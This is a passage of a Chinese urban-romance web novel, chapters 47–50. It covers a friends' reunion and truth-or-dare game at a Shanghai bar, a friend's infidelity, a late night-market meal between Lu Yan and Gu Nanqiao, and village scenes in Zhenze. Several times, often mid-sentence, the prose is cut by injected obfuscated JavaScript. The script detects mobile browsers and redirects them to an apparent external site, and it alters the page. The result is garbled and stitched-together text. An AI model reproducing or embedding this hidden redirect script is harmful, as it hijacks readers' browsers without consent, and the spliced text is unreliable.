小姐姐盯着看了看,放下手机转而握手,手掌相合的瞬间,脸上露出带点憨气的笑容。 此刻,就像置身阳光灿烂的日子,他们在草地上互相追逐打闹,身边围着一只毛茸茸的狗,上蹿下跳。 他无疑被这笑容温暖到,迫不及待用另一只手递来礼物。 是一只小兔子安**在萝卜里的挂件,萝卜能合上,像给兔子盖了被子。 “哇,Disney诶!这么贵重……你现在追我的话可以加分哦。” 那是不是为了不浪费加分政策、也要当场追一手啊? “说什么鬼话,”陆砚失笑,收回手时,手心全是对方紧张出的汗,“看,兔子睡觉,一下就想到你了。” 她做作而娇羞低头道:“想我就直说,干嘛拐弯抹角......” “...” 建议去震泽镇报个班,找语棠学学怎么害羞。 “本来就来得迟,还在前台跟小姑娘磨蹭半天?磨蹭也算时间的哟!” 开口像资深瓢虫,自然是日益油腻的陈禹—— 说真的,建议他下辆车换凯迪拉克,把天赋带到属于他的地方去。 对了,那个神秘的车友群记得到时候把他也拉进去......到时候可以给他的律师朋友介绍客户。 那两人从角落的桌晃过来,阿乐不愧是酒吧老板,能从那么远的位置递过来一杯满满的啤酒: “迟到了罚三杯,规矩不能坏。” 规矩? 所谓规矩大概就和《男人在外互助守则》一样,可以看时机随时现编吧! 目光交错间,嘴角自觉上扬。 上海的万千繁华是世界的背景,而此间相遇的旧友,才是真正属于他的、鲜活的上海。 陆砚接过酒,像接到敞开心扉的钥匙:“苏棠,打赏你一杯酒,喝不喝?” 她眼睛弯成月牙,接过杯子:“喝呀,正好口渴了。” ...... 震泽镇,仿佛被谁悄悄调低了音量,门外一阵风声都那样有存在感。 沈语棠坐在织机前,觉得这里的夜晚,就像没有手机的时候、明亮房间突然停了电,是平淡到让人抓狂的。 可又有什么好抓狂的呢?这么多年都过来了。 ……不对,不是这样的。 高二之前,她有过一群吵闹的朋友,白天在课堂上传纸条、偷吃零食,晚上能溜去串门,说些漫无边际的梦想、规划。 年轻人的规划能有什么? 无非是‘世界那么大,我想去看看’、‘爱情的滋味,我也想尝尝’、‘日子的诗意,我也想攥在手里’。 直到家里开了民宿,人生的轨迹猛地转了个弯。 朋友们开始为升学拼命时,她坐在缂丝织机前,一根一根地辨认丝线...... 田边的桑树叶绿了又黄,她们就此分了轨,再无交集。 开始营业后,她也有朋友,有过不少朋友,这友情随着房费到期,消散在人来人往中。 万事万物不可强求,何况是不顺路的人? 旅客跨过河山来震泽寻找风景与故事,而她,只是别人众多故事里一个模糊的背景要素罢了。 “换色了。” 沈语棠忽然低头,从脚边的竹篮里拣出个绕着粉线的竹筒,手腕一转,纬线在经丝间拐了个弯。 这是在模拟教学。 如今唯一的学生跑去了上海,但该做的事情可不能落下,甚至带着一点隐秘的期待,等两天后,一定要让他看到自己的进步。 “噔!噔!咚!” 一声闷响从墙角传来,打断了她的思绪。 “哎哟!小师傅您收着点劲,这个架子禁不起这么敲。” 冯小军有点不耐烦。 他本来算得好好的,陆哥发了话,这两天能轻松点,结果活计一件没少——老板娘使唤他们修一整排用来放杂物的旧木架。 这跟装修有个屁的关系,明明是木匠的活! 偏偏张师傅意外好说话,乐呵呵就应下了——男人半点架子没有,那自然就要修架子啦! 他忍不住嘟囔:“老板娘,我真没干过啊!” 语气里带着抱怨,却没好意思甩手不干——当代没出社会的大学生,随时叫人吃得死死的。 “没事,慢慢来,慢慢来嘛,”沈秀娥笑着摆手,视线转向另一边,“让张师傅教你,他手巧。” 被点名的张野乐呵呵地应着,手里不紧不慢地刨着新木头,仿佛在做什么顶有趣的消遣。 ...... 阿乐拨通群聊视频,将手机固定好,桌上几人进了画框。 对面过了会才接通,摄像头被蒙住,一片黑。 “苏棠吵着要我们拉她进群,现在咱也拿不准主意,想问问顾律师的法律意见。” 待阿乐把腹稿说完,苏棠解释:“顾姐姐,我就是随口一提。” 啧啧,这丫头喊姐姐,甜得嘞......怎么遇到自己就不喊哥哥? 画面瞧不见内容,声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233176|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音也足够传递其轻松心情:“巧了,你想进来也是随便的事。” 随便的事?我劝你不要当个随便的人。 心情好的不止她一人,还有陆砚:“顾姐姐,虽然你来不了,不过晚饭我还是要按时叮嘱你吃的。” 屏幕里,苏棠瞪向他,可一扭头,旁边分明无辜地眨眼——看手机、她又变表情——这不过是对话间隙里发生的细节。 对面镜头一亮,手机摄像头出现一个塑料袋:“喏,晚饭已经买好了,就等你呢。” 袋子里哪有晚饭呢,赫然装着几瓶洋酒,看不清牌子。 很久很久以前,这片神奇的地方有过这样的典故——鹿就是马、马就是鹿。 顾南乔指着酒说晚饭,阿乐就坚定维护:“瞧瞧人家,这大手笔、这思想觉悟,不愧是咱的高素质群友。” “那还说什么呢?高素质群友凑堆了,碰一个呗!” 话题归拢在一块,今晚的主题呼之欲出。 陆砚看着他们——不可避免的,是人就会有缺陷,陈禹、阿乐,包括小小酥糖——可此时,一点想不起来不好的事情,只觉得,久违了。 久违了。 话说为什么年纪稍长以后就总喜欢沉闷看事情呢?仿佛看得不够深、就不够真,不够真就是愚蠢、就会误了事一样。 上海也好、震泽镇也好,为什么总要考虑那么多以至于做什么都放不开手脚。 自己离二十八岁还有十来天,年龄划分也算青年的行伍,这样‘深沉’的视角和苏棠强行唱苦情歌有什么区别? 呼—— 玩!今天放开了玩! 对面镜头又黑了,丝毫不影响此时的氛围: “来来来,酒倒好了没!” “等下,沟槽的陈禹只有半杯!” “做生意的就这?假一赔十安排上吧!” 众所周知,聚会第一杯酒有特殊意义。 不说长篇大论一番,齐举杯讨个好兆头是要的,这时没长眼力见的悄悄赖酒,能忍? “我提议,喝了这杯,我陪陈禹再来两杯!” 阿乐叫好,苏棠帮忙满上。 “玛德,你迟到了罚酒,扯上**嘛!” “噔、噔、噔!” 当时时间过去了0.01秒,脱离瓶口的酒液诡异定在空中,一连串清脆的高跟鞋声忽地从门口踏来,在陆砚的世界里、利落而分明。 刹那间,酒馆里所有的声音——玻璃杯的碰撞、液体吞咽的咕嘟,唱台自动播放的音乐、五六处不同音色的笑谈,甚至远处厨房油炸的滋滋响动——瞬间被调低了色调、揉成一团模糊的背景杂音。 唯有那鞋跟敲击地面的节奏,清晰精准踩在他心跳的间隙,穿过所有喧嚣,产生了一种奇妙的、不容置疑的共振。 世界恢复流动。 男人喉结咽了下,鸭蛋青色的门帘被风缓缓抚过。 就在他们举杯、陈禹高声说着‘庆祝群友归来,再庆祝群里纳新!来,碰一个!’的喧闹刹那,陆砚骤然抬手: “等下!” 所有动作戛然而止。 一只白得晃眼、指节纤细的手拨开尚在晃动的门帘,如同破开云层。 紧接着,女人便完整落入了这片喧嚣的光晕里。 黑色庄严的西装如画卷,上面抹了极为鲜亮、甚至称得上妖娆的正红色口红,瞬间点燃陆砚的感官。 砰砰——,砰砰—— 那抹红像精心挑选过,衬得她肤色愈发冷白,鸦羽般黑亮的长发披散在胸前,红、白、黑三色撞出无与伦比的美艳质感。 她提着格格不入的便利袋突兀出现的画面,足以让陆砚端着酒杯,怔在原地。 或许多年以后回顾自己的一生,这一幕仍会定格在脑海中,历久弥新。 近一个月的分别让顾南乔变得更加惊艳,混合着陌生与极度熟悉的悸动,眼前仿佛再度出现那个引人坠落的温柔漩涡。 他手指微动,瞬间想到了很多关于他们的过往......几乎被遗忘的约定悄然从心底破土而出—— ‘如果......如果有一天,我们碰巧遇见,那就给我个拥抱吧’。 第四十七章 沪上阿姨 顾南乔的目光扫了过来,陆砚下意识地上前一步,脸上挂起笑容。 “那么问题来了,为什么你来小酒馆,还要自己带酒呢。” 她的鞋跟站定,陆砚心里的波动却并未止息,说话的口吻比跟苏棠打招呼时还要像网友见面,关系亲近的话语里面尽是试探口风的谨慎。 顾南乔眼神几不可察地黯了一瞬。 那感觉,就像是庭审到了最关键的时刻,己方证人突然举手—— 结果却只为了申请上厕所一样,令人莫名失落。 但她从不是会让气氛冷场的人,尤其对面是陆砚,端起字正腔圆的播音腔,坦然答道: “家里清出来的最后几瓶,再不喝过期了。” 那双眼睛是最灵的指示灯,可以第一次见面时就敢大大方方说‘甭客气的嘞,陆师傅’; 也可以蒙着层说疏离,让她看起来像电视剧中、某个灯光下的女主角。 “酒还有过期的说法?” 陈禹突然插话。 在旁人听来或许有点没眼色,但这一刻,陆砚简直想给他鼓掌......算了,一会儿多替他喝一杯就是了。 “过不过期先放一边,你之前说的‘冰火两重天’呢?是不是涉嫌虚假宣传了?” “哈哈哈——” 笑声是最好的润滑剂,涂着鲜艳口红的女主角还是破功,一下子跌回陆砚所熟悉的那个顾南乔。 她瞪过来,话里带笑也带刺:“事先声明,你要因为这个进去了可别联系,我禁不起这么丢人。” 阿乐拿着顾南乔带来的酒走向吧台调配,苏棠也跟了过去,一会端了个蛋糕出来。 手上端着点蜡烛的巧克力蛋糕,暖黄烛光映亮了她的脸。 陆砚带着疑惑问了一圈—— “生日快乐!”几人异口同声。 原来是跟自己准备的,可他今天也不过生日啊。 目光投向阿乐—— “苏棠的策划。”阿乐立刻指向对面。 苏棠马上转头指向陈禹:“他先提的。” 陈禹揽过话头,理直气壮:生日多重要啊,肯定要拿来利用一下!” 好吧,虽然还有点别扭,但这点强度的戏剧也能适应,索性伸出手: “行,礼物呢?” 第一个看向的是顾南乔——她坐在对面,阿乐的旁边,按以往关系来说应该做过来才对...... 这个细节让人有点在意,但主要原因还是想跟她多说说话。 顾南乔迎上目光,唇角微扬:“我们静安区的传统都是第二天送礼物。” 两人会心一笑,熟人聚会还得开以前的玩笑才对味! “好,静安区的小姐姐借口找好了,”陆砚笑着转向其他人,“你们呢?” “仿古砖。” 神踏马生日礼物是瓷砖,不过还真挺合心意。 “今天算我的。” “欠着,先把吉他压给你。” 好吧,做人不要太计较形式上的东西......即便日子不对,即便没有礼物,但大家说今天是,那它就是。 事实上,人能凑得这么齐的日子,本身就值得庆祝。 陈禹撞了下他的肩膀: “二十八了,什么感想?” “我总觉得二十七岁过得格外快......” 比上一岁快了十几天,怎么不算快呢? 好在此刻不是老掉牙的‘感言时刻’,苏棠这没情商的掰着手指故意卖萌: “哇!按年纪算,我真该叫你叔叔了!” 呵呵,叔叔是吧...... 他大度一笑,和颜悦色将众人拖下水:“不搞双标啊,喊我叔叔那场上的叔叔阿姨可不少。” 场上唯一沪上阿姨扶额,作势起身:“心累,要不我现在回去算了。” “别!” “顾姐姐别!” 众人起身阻拦,阿乐立刻‘愤慨’地瞪眼:“你小子是不是飘了?别以为生日就可以高枕无忧昂!” 难道不是吗?生日没有buff加成? 看看自己左边——苏棠没用,陈禹不拱火就不错了。 不是吧?去苏州大半个月,自己成客场作战了? 再转头看向顾南乔,故作不忿:“顾姐真是好手段啊。” 陈禹立马接茬:“那可不!刚顾律师走进来,好几桌男士可都回头看呢。” 阿乐迅速拦截:“已婚人士少说话,马屁让我来拍!” 陈禹一脸正气:“我从不拍马屁。” 阿乐:“...” 看来这波是仿古瓷砖的马屁......不,是语言艺术,更胜一筹。 一杯入口就知道名贵的威士忌渐渐露了底部的冰块,杯壁上的水珠在桌面聚成一滩。 众人说闹间,酒馆里的音乐和别桌的喧嚣成了恰到好处的背景音。 恰逢阿乐起身去收银台、苏棠去找扑克牌、陈禹出去接电话,一切好像上天给的机会,这个角落忽然安静了下来。 陆砚隔着桌子将上半身探过去问道:“顾姐,你什么时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233177|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候生日?” 而那个几乎美得不可方物的女人直挺挺地凑过来,带有吸引力的红唇近在咫尺、直到要撞上的时候才擦着脸颊过去: “保密。” 气息喷吐在耳边,两个字,像一只猫跑到胸口,又像投入干柴中的火星,瞬间在他心里撩起一簇灼热的火焰。 索性局面有够嘈杂,完美掩盖了骤然如擂鼓的心跳。 一定是太久没见过这个级别的美女了......快脱敏、快脱敏! 恰逢苏棠回来,宣布卡牌忘买了接下来只能玩最经典、也最烂俗的‘真心话大冒险’。 不知为何,看着那副鬼精鬼精的表情,陆砚的心没来由地紧了一下,莫名的紧张感悄然蔓延开来—— 既为自己,也为顾南乔。 ...... 李家的媳妇叫阿琴,阿琴有个朋友叫沈秀娥。 当然,阿琴有很多朋友——村里就是这样,你们住得近,就是朋友;一起去过谁谁家吃酒席,就是朋友;找谁谁家里借过工具,就是朋友。 至少面上是朋友。 世界上每个人对朋友的标准都不同,在至死不渝和点头之交之间,村里,朋友标准碍于人情往来,门槛显得低了些。 阿琴看待沈秀娥,比一般人以为的,其实高一点。 “要我说,咱就管好自家一亩三耕地,别跟那沈秀娥搅和在一块了。” 李家汉子发话,但话头里的态度并不强硬,而是把担忧藏在男人爽利的刻板印象之下、将话抛出来。 世上不是人人都像心理专家,能一下清楚自己的感受、乃至想法。 他们有的,多是模糊的感觉,说话时往往跟着情绪走,或许事后才有几分思考,分析对错、利弊。 江苏省、苏州市、吴江区、震泽镇旁边南浦浜村的农户李家家里便是如此。 阿琴凭感觉判断丈夫大抵不是真抵触,便说道:“秀娥姐也没有面上那么势利,不会让我们吃亏的。” 那汉子从脚盆拿起一只脚,哼了声,边擦脚边说:“那婆娘能是厚道人?哪回过来不要从我们家顺点东西走?你就是个败家娘们,尽被人忽悠。” 阿琴不想辩驳,也没有在这时候辩驳的习惯,毕竟他只看到了自家被拿了甜白菜。 她起身从厨房拿出个盘,说:“吃点不?” 那汉子擦完脚准备躺床上刷会手机,此时吃点东西正惬意,接过盘,说:“家里哪来的点心?” “秀娥姐给的。” 第四十八章 火热的夜 帷幕缓缓揭开,游戏过了预热,开始行进更刺激感官话题。 苏棠手指一拨,空酒瓶在桌面旋转,最后不偏不倚,瓶口再次对准顾南乔。 她眼睛亮晶晶,带着毫不掩饰好奇: “顾姐姐,你第一次和亲人、长辈之外人接吻是什么时候——注意,是接吻,不是国外礼仪之类。” “十六岁。” “喔哦!” 不仅苏棠‘喔哦’一声惊叹,陆砚心里也暗自咋舌,当然,这并不意外,甚至在国内也属正常,只是亲耳听她说出...... 玛德,这游戏还是适合年轻人有点,自己二十八了,也该去考虑考虑钓鱼之类爱好! 仿佛命运刻意捉弄,下一轮,瓶口竟又一次慢悠悠停在了顾南乔面前。 这次是陈禹提问,他笑得人畜无害: “顾律师,最近一次接吻是什么时候呢?” 问题一出,空气仿佛骤然收紧。 顾南乔沉吟时间比上次更久。陆砚心跳莫名失控——既害怕听到与自己相关时间点,更害怕听到与自己无关。 两种情绪拉扯,让他几乎坐立难安。 “二十多天前吧。”她终于开口,声音平静,听不出波澜。 “喔哦——!” 起哄声再次响起,比上次更热烈。 陆砚赶紧岔开话题:“喔哦个头啊!苏棠你都要大学要毕业了,别这么幼稚好不啦?” 试图用玩笑掩盖突如其来心绪不宁,可正是因为试图掩盖,才意外发现自己如此在意,在意同时,又松了口气...... “这叫气氛组,懂不懂啊你!” 苏棠不服气回嘴。 只是气势不足回嘴罢了,有旁人在时候她还没那么嚣张。 游戏继续。 这次,瓶子晃晃悠悠对准了陆砚,而提问权,落到顾南乔手里。 她微微思索,眼底流转着一丝难以捉摸光,红唇轻启: “同样问题......” 话音未落,陆砚紧急伸腿在桌下碰了碰,然而她非但没躲,反而精准用自己高跟鞋鞋跟压了上来。 桌下两脚钉在原地,动弹不得,面上却笑得云淡风轻: “......我就不问了。陆砚,待会儿替我喝一杯就好。” 成年人默契,在于懂得在适当场合问适当问题,更懂得如何适时体面退场。 之后便有惊无险绕回家常琐事,大家聊起陆砚在苏州生活,他也就势挨个问起众人近况。 陆砚状似随意同每个人交谈,笑声不断,推杯换盏间,却总有意无意将话题引向顾南乔——像毕业那年为了拥抱一个人而拥抱了全班同学。 他终于找到机会,故作自然转向她:“你呢?最近怎么样?” 话音未落,桌下高跟鞋轻轻滑动,却被她更紧压住。 陆砚感觉那高跟鞋细跟缓缓移开,取而代之是相对平整而纤小的鞋面,若有似无贴着拧动,那不轻不重力道和桌上似笑非笑眼神、叠加在一起感觉,清晰得令人头皮发麻。 不料顾南乔还未开口,一旁陈禹却谈兴勃发,音量大得盖过了这头: “要我说,生活真谛,说到底就是‘体验’二字。” 他晃着杯中琥珀色液体,语气像个豁达哲人。 阿乐很配合追问:“禹哥,有何见教?” 陈禹清了清嗓子,目光扫过众人,最后若有似无掠过陆砚: “做任何事都不要只觉得痛苦。痛苦时候,你就专心体验痛苦;忍耐时候,就细细品味忍耐。 就像喝一口黑咖啡,你得感受粉末在口腔里化开,苦味一点点漫上来过程......然后,就有味了。” “那要是很多束缚,不让咱们体验呢?”苏棠歪着头问。 “被束缚住时候就好好体验束缚感。就像要求你忠诚时候,你就去体验忠诚究竟是什么滋味。 等某一天,你觉得滋味寡淡如水了,那就说明办不到,咱就换下一个,体验点新鲜。” 陈禹嘴角噙着难以捉摸的笑,声音平稳,视线却像向远处。 或许这就是听画外音典范案例,场上大概唯有陆砚,可以听出第二层意思。 至于有没有第三层、第四层,他不清楚,他只知道桌下鞋面仿佛着了火,迫切想抽回......不然,就彻底扑向对面。 此刻这有点过分玩笑无时不刻在挑战男人底线和忍耐,陆砚半点体会不到陈禹说——体验忍耐滋味,甚至不敢去看她眼睛。 内心煎熬不影响客观世界,陈禹话语像一层薄油,浮在热闹酒桌气氛之上,随即众人默契转过头,仿佛等待一个评判。 顾南乔端着酒杯,眼睫低垂,片刻后淡淡应了一句: “有道理。” 就像出席一场官司,此时法官一锤定音,陈禹被支持之后全场为其举杯。 阿乐拍着马屁:“还得是已婚人士,境界就是高啊!” 陈禹笑着接受敬酒,一口将‘已婚人士’四字吞得干净。 陆砚看得眼皮直跳。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240464|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>...... 废了好大劲才压下裤子的异样,去了洗手间。 关门的前刻,陈禹也跟进来,顺手拍了拍他肩,语气意味深长: “体验就好,别错过。” 水龙头被拧开,陆砚不明所以:“什么这的那的。” “别想那么多。” 陆砚从镜中看向他——那双眼睛里杂糅平静与玩味,汇聚成一种近乎洞悉神情。 索性不再掩饰,关掉水,低声说:“......还是要多想想。” 男人一边解腰带,一边轻笑,话语却像钝刀剖开现实: “想也没用。顾南乔不适合你,阶级摆在这儿。”他顿了顿,水流声淅沥,衬得声音格外冷静,“这世上最适合你的人,其实是林晚声。杨灵也好,顾南乔也罢,你仔细看看她们条件——那是为我们这种人准备吗?根本就不是一个世界人。” 作为桌上唯一喝多人,陆砚本不想反驳,可陈禹不依不饶: “普通人想要忽略现实条件在一起,除非是校园恋爱。就像我和颜朵,她当年就没嫌我穷,即使我穷也可以面对她,所以我们结了婚。” ‘结婚’二字像一根火柴,倏地点燃陆砚压着怒火,但这火并非冲着陌生人发泄那种暴怒,而更像一个在沙漠中苦苦挣扎的人,死揪住来自繁华都市之人衣领,愤懑又不甘诘问—— 你知不知你拥有的是多少人梦寐以求?你怎么敢......敢不珍惜? “陈禹,”他声音发沉,“你好意思说结婚?” 结了婚男人利落抖了抖,单手拎着裤子,另一只手搂上陆砚肩,语气竟透出几分荒唐诚恳: “砚哥,你是看着我走过来,你得信我。” “信你什么?” “我努力过了……真的,没办法了。” 此时,陆砚看清了他眼中一闪而过痛苦,那痛苦藏得极深,混在平静之下,几乎难以察觉。 怒火,离奇消散了,取而代之是一阵茫然嗡鸣。 甚至开始下意识反思:是不是还有很多复杂、他根本没看见事情,在暗中发生? 没发现出轨前,其实是认可陈禹——认可他能力、处事智慧,哪怕在老金看来十分差劲,但陆砚能理解。 这样一个人,怎么会突然做出连傻子都鄙夷蠢事? ……除非,真有理由。 不管那理由是什么,陆砚知道自己终究不该凭着交情,就强行干预别人人生。 何况,连自己问题都还没头绪。 第四十九章 一致对外 宴会总有散场时,若回去路上还能并肩一段,便是圆满的收梢。 三人挤进一辆出租车,车内弥漫淡淡烟味与皮革的气息,有身上的酒气做屏障并不难闻,反倒添了几分夜的慵懒。 电台在播舒缓爵士乐,窗外霓虹流光般掠过,映得每个人脸上明明灭灭。 决定先送最小的回去,陆砚侧头调侃: “这么晚回去,不怕又被家里念叨?” 苏棠本来晕晕乎乎快靠到顾南乔身上,听到熟悉的声音下意识清醒几分,得意扬着下巴: “我现在住学校啦!天高~皇帝远~” 憨憨都没有笑得这样本真,微微肉感的脸颊像勺子轻轻在布丁上拍了下,软乎乎的一看就很好捏。 想起她之前打电话说被家里赶出来的事,不由好笑道:“那也别当寝室里的醉人。” “我又没犯罪!”可爱女孩嘟嘴**,“我人缘可好了!” 所有男人在心动对象面前都不缺乏释放全部情商的魄力,即使心动不会行动,可也没有故意冷落人家的道理。 陆砚顺势笑望向另一侧的美丽女人:“苏棠要真犯了事,能找你辩护不?” 顾南乔眼都没抬,语气专业得像在报价:“如果案件我恰好能接,友情价,九折起步。” “顾姐姐你放心,我以后有空肯定多照顾你生意!” 照顾律师生意.....这种不伦不类的话,也唯有从她嘴里说出来才不显得油腻。 车在同济大学门口停稳。 苏棠开门时,陆砚下意识回头——恰逢一道流丽的车灯闪过,瞬间照亮了顾南乔的侧脸。 她微微偏头看着窗外,颈线纤长优雅,耳垂上一枚极小的珍珠耳钉闪着温润的光。 外套因坐姿稍稍收紧,勾勒肩背柔韧而漂亮的线条。只是安**在那里,车厢昏暗光线下,像一幅精心搭建的电影画面,每处细节都散发着无声的、惊人的吸引力。 陆砚清楚感觉自己心跳漏了一拍。 他并不羞愧,坦然承认这一刻纯粹源于感官的躁动——相信全天下的单身男性在那瞬间都会有同样的冲动。 出租车再次启动,清了清嗓子: “要不要再去吃点东西?说了要你好好吃饭,结果你倒好,提着酒就来了。” “不吃了,”顾南乔摇头,语气有些懒,“山姆超市关门了。” 怎么?外面的食品安全确实暴雷不少,合着现在您谨慎到只吃严格品控的食物了? 回过头,用眼神表示疑惑。 “你没听说过?晚上八点以后熟食区会打折,有时候能抢到半价的。”她说得极其自然,仿佛这是一项必备的生存技能。 陆砚笑了:“还是你消息灵通。不过今晚,咱就别占这便宜了,行不?” “没办法......刚搬了个家,房东找借口扣了押金。能省一点是一点。” 她声音很平淡,依旧看着窗外。 即使是侧脸,但不管怎么看都惊艳,正是拥有如此美貌的女人,刚才亲口对自己说‘能省一点是一点’。 节俭固然没错,可她省的是自己的晚饭! 依稀记得陈禹说,美貌是比黄金还要硬通的货币,偏偏顾南乔是个像太阳般耀眼的女人,她就是一个铺在眼前美梦,不容世俗玷污。 脸上的笑容再无法维持平静,心头猛地揪紧,五味杂陈。 ......宁愿两人之间有着不可跨越的阶级鸿沟! 他立刻向前倾身,对司机说:“师傅,麻烦改去赤峰路那边的夜市。” ...... 车子调转方向,两人下了车,步入夜市的喧嚣。 已是深夜,食客依然不少,空气里混杂各种食物的香气——烧烤烟火气、糖炒栗子的甜香、还有锅里翻滚的辛辣味道。 路灯将影子拉得很长,嘈杂的人声和锅铲的碰撞声构成一片鲜活而生动的背景。 “乔乔......你怎么都不跟我说......” “喂,说了别瞎自来熟。” “去你的,”陆砚笑骂,“还讲究呢,翻篇了啊。” 翻篇了。 她抬手将一缕散落的头发别到耳后,两人之间的距离似乎近了些,沉默了片刻,才轻声说: “不想麻烦你。” 十二月的风刮过,心中的滚烫却怎的也无法冷却。 他懂这句话里的所有含义—— 当初突然逃离时虽没明说,可的的确确是将彼此的友谊抛之脑后、想要断干净。 最让心口发涩的是,对方这句‘不想麻烦’,或许都是因为一颗体谅的心。 ......如果真要有一个人付起全部责任,那怎么也轮不到这个女人! “麻烦有什么的?半点不麻烦不就成陌生人吗?”他语气不由得重了些,伸手轻轻拉她的袖口往右转:“肚子饿了不知道吃饭,还在乎麻不麻烦?说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240465|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是朋友,你客气什么?” 她抽手转而隔着衣服、拉着陆砚的手腕,身子微微靠过来:“哎呀,人生有上坡道,下坡道,和没想到嘛~” 笑吟吟的眼睛蒙着夜纱比正红的唇瓣更抚慰心灵,陆砚也笑着,呼吸轻松不少。 ...... 两人最终在一个卖羊汤的摊子前坐下。 热气腾腾的汤很快端了上来,顾南乔的那碗,特意嘱咐老板没放香菜。 看着价格,不由唏嘘——这对他而言不算肉痛,更不该是顾南乔需要斟酌的东西。 默默喝着汤的时候,他连‘顾南乔为什么不去找杨灵’这个问题也顺带想了一遍。 越想,那细密的心疼就越发清晰。 他有点害怕这股劲。 亏欠的感觉会把心思牵绊住,而心思一旦留在这样富有魅力的女人身上,是件可怕的事。 迫切的......想要做点什么,所以暗自盘算了下: 接下来两个月的房贷,沈秀娥那边还差两万没到账,现在手头......最多能挪出一万五......支付宝里还有几百,可以一起转过去。 ......肉痛什么?又不是没给自己留容错......这点钱换以前半个月就赚回来了,在人家眼里也算不上什么好吧! 对了,不要当面转,要设置延迟转账。 “乔乔......顾姐,我觉得,大多数时候,我们应该是......一致对外的关系。” “什么是外?” 顾南乔捧着温热的汤碗,抬眼看过来。 陆砚注视着,那个让骄阳退避三舍的女人历历在目,一字一句地说:“是这他妈恶心人的生活。” 顿了顿,语气放缓,像哄孩子似的: “快吃,吃完有奖励。” 温暖的蒸汽氤氲上升,模糊了彼此的视线,某种难以言喻的默契和暖意,实实在在流淌在喧闹的深夜街头。 ...... 回到贴着水电缴费单的、至今仍在还贷款的老旧房子,推开门的瞬间往事涌上心头。 他想到了杨灵,又想到了顾南乔,然后,想到了很久很久以前的—— 那时候他们还没谈恋爱,应该是寒潮的时候,三个人在老房子里吃了晚饭,那时候杨灵被顾南乔忽悠花了非常鲜亮夸张的妆容...... 那会他好像也为某些事情烦恼,可现在回忆起来,只觉得幸福。 第五十章 已经不难过 早上从家里醒来,熟悉的天花板一下子就把他带回了曾经的习惯,腾地就从床上起来。 九点出头,半晴天,洗漱。 然后趁着好久回来一趟,简单做个卫生致敬震泽镇的雨棠姑娘吧! 对了,突然想起还没她的联系方式。 收拾片刻便出了门,没有着急去杨老头家,按惯例一般是中午去,晚上看情况留不留。 或许,晚上就可以直接上前往苏州的动车呢。 给苏棠发了条消息问情况,提着特产礼盒先去小区旁边、老刘家的早餐铺子,远远就看见门口冒的白汽,和沈秀娥在灶房一样的既视感。 走近‘天天早餐’铺,约莫三米五宽的铺子被两个小木桌填满,两个蒸笼一个油锅,屋里头一台豆浆机,就是这样的格局,夫妻两人依旧忙得抬不起头。 等排队的客人散得差不多,他才靠拢。 “嫂子生意兴隆啊,我来看看你们。” 老刘媳妇正翻着蒸笼看还剩几屉包子呢,突然听到人喊的时候有些摸不着头脑,随即,就当屋里的老刘‘诶’了一声的时候,曾经见过、小区里模糊的身影和眼前的年轻人重叠在一起—— 他抱过子鱼! 这是女人的第一反应。 随后才是去家里做过客、茬过老刘一起做工程、最后却反倒靠自家丈夫介绍活计...... 加之不像踏实做事的长相,‘不靠谱’三个字在女人心里几乎焊死这个年轻人身上了。 “陆师傅,你回来啦......这,这哪里好意思!” 熟悉的推脱,符合流程后的顺势收下,老刘媳妇面上的笑容多了几分真切。 都说奋斗中的人精神面貌好,眼前的中年女人脸颊、鬓角淌着汗,精神头却比匆匆印象里好了不少。 这可比衣食无忧、却整日萎靡的年轻人健康得多。 “小伙子的礼数做的,比我这些人都周全,老刘,你给自家妹子介绍生意还是有眼光的唷。” “是是,人陆师傅我一直都很佩服。” 人呐,前脚还感叹人家精神头好,结果一接触瞬间就失了兴趣...... 拿了份早餐,没过多寒暄便走了。 下一站,老洋房。 ...... 十二月初的上海,空气里渗入丝丝清寒,泰安路的老石库门建筑群在午后的光线下显得静谧。 杨嘉踩了双靴跟尖利的短靴,拖着小巧的行李箱站在自家门前,燕麦色长风衣,内搭低领黑色紧身衣,项链闪着碎光。 